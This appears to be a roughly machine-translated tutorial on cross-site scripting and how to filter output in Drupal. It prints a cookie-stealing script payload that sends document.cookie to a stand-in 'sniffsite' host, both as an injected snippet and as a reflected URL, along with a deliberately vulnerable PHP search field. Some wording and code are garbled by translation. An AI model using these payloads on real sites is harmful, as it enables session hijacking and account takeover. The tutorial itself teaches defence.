Surely, XSS attacks remain the most popular along with SQL injections. Their principle is simple to ugliness, and the consequences vary from innocent distortion of the output of pages to getting the attacker complete control over the site.
Some XSS attack scenarios
')
Steady attack
Vova creates a piece of content on the site of Petit.
When Masha views this content, Vovin XSS steals Machines cookies.
Now Vova can get to the site using the Session Machine.
The more people see this content, the more successful an attack can be considered. The maximum is achieved by creating controversial holivarny themes on the site, etc.
Here is the simplest example of exactly how the theft of cookies occurs and how they are used.
The code is inserted into the page <scrіpt>іmg=new Image();іmg.sr="http://sniffsite/s.php?"+document.cookie;</scrіpt> .
At the other end of the script is the logger requests. The attacker chooses a session identifier from this log and creates his own cookie similar to the victim’s cookie.
Now, an attacker can simply go to the site with a browser, and already logged in to the account of the victim user (the victim's cookie).
And if under an ordinary account an attacker can harm within the rights of this account, then taking possession of the root account (under which 90% of our drupallers go) he can literally kill the site with those 60% of drupallers who do not make frequent backups.
Unstable attack
Julia uses the site written by Ahmed. Ahmed gives her the opportunity to enter the site using a username / password and keep personal data there.
Vova searches the site of Ahmed and finds XSS vulnerability.
Vova forms a special link and sends it to Julia via ICQ.
Julia, being logged on the site, follows the Vovin link.
Runs XSS, tied to the link page. (Everything here depends on the curvature of Ahmed and Vova’s skill. This could be the use of a CSRF related vulnerability - Julia, without knowing it, can send a pack of spam, delete all the content on the site, etc., and more mundane - theft of secret information or cookies.
What does XSS mean in a link ? A very common example is a search form with this code. <input type="text" value="<?php print($_GET['srch']); ?>"> .
Now, if you write site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.sr="http://snifsite/s.php" +document.cookie;</scrіpt> , we will receive cookies for each victim visiting this URL.
How to secure code from XSS?
The answer is simple - filter the output to the page.
Filtration methods in Drupal
The golden rule of working with data is to store user input in the database exactly in the form in which it was sent. Therefore, all filtering should be done at the stage of outputting user data to the page.
All user input can be divided into two types:
Text without plain text
Any user input that must be submitted as plain text must pass through the check_plain () function, which will turn quotes, ampersands and angle brackets into their HTML representation. Then, such text may already be inserted into the final HTML markup of the page.
Most of the theme functions and APIs take in the string parameters, and, in one way or another, filter them :
t() : In this function, you can use several types of placeholders, which will be filtered in different ways:
! variable - inserted without changes
@variable - will pass through check_plain() .
% variable - will go through the theme('placeholder') .
l() : The link text always passes through check_plain() , unless it is not explicitly set to $html .
Menu items and breadcrumbs : Headings are automatically filtered.
User names displayed via theme('username') (in the default implementation).
Form API #default_value and #options (only when #type == 'select').
There are places where you should never forget about filtering :
Page headers set via drupal_set_title() . The headings in the body of the page are not filtered automatically so that the user has the opportunity to use there tags such as <em> . This does not apply to the title in the <title> , since from there all tags are always cut out. Note: The situation has changed in Drupal 7. Now, filtering will be carried out by default, and if you need to submit an HTML header, you will need to specify the corresponding parameter in the drupal_set_title() function. Example: drupal_set_title($node->title); // drupal_set_title(check_plain($node->title)); //
Block headers submitted via hook_block() . Same reason as with page headers.
//Drupal 6 (The message and variables are passed through t() by the watchdog function): watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS watchdog('content', "Deleted %title", array('%title' => $node->title)); // @
Tagged text needs to be filtered using check_markup () . This function accepts, besides the text itself, an input format that contains filtering rules. Therefore, when creating forms for text with markup, it makes sense to enter a widget next to the multi-line fields to select the input format ( filter_form () ).
Please note that the user who views the markup text that has passed through check_markup() must have rights to view the selected input format. By default, this check is always performed. However, this is not always necessary, since the content is usually viewed by users with lesser rights than the one who created this content. Therefore, you can turn off rights verification during output by submitting the corresponding parameter to check_markup() . But you should always check these permissions using filter_access () when submitting the form itself with this content.
URLs
The main part of the URL in the functions l () , url () , request_uri () is already filtered, but you need to take care of filtering the GET parameters and the anchor fragment yourself. This is necessary so that the accidental or deliberate presentation of the # symbol in the GET parameters does not spoil the entire URL. Use the urlencode () function to filter.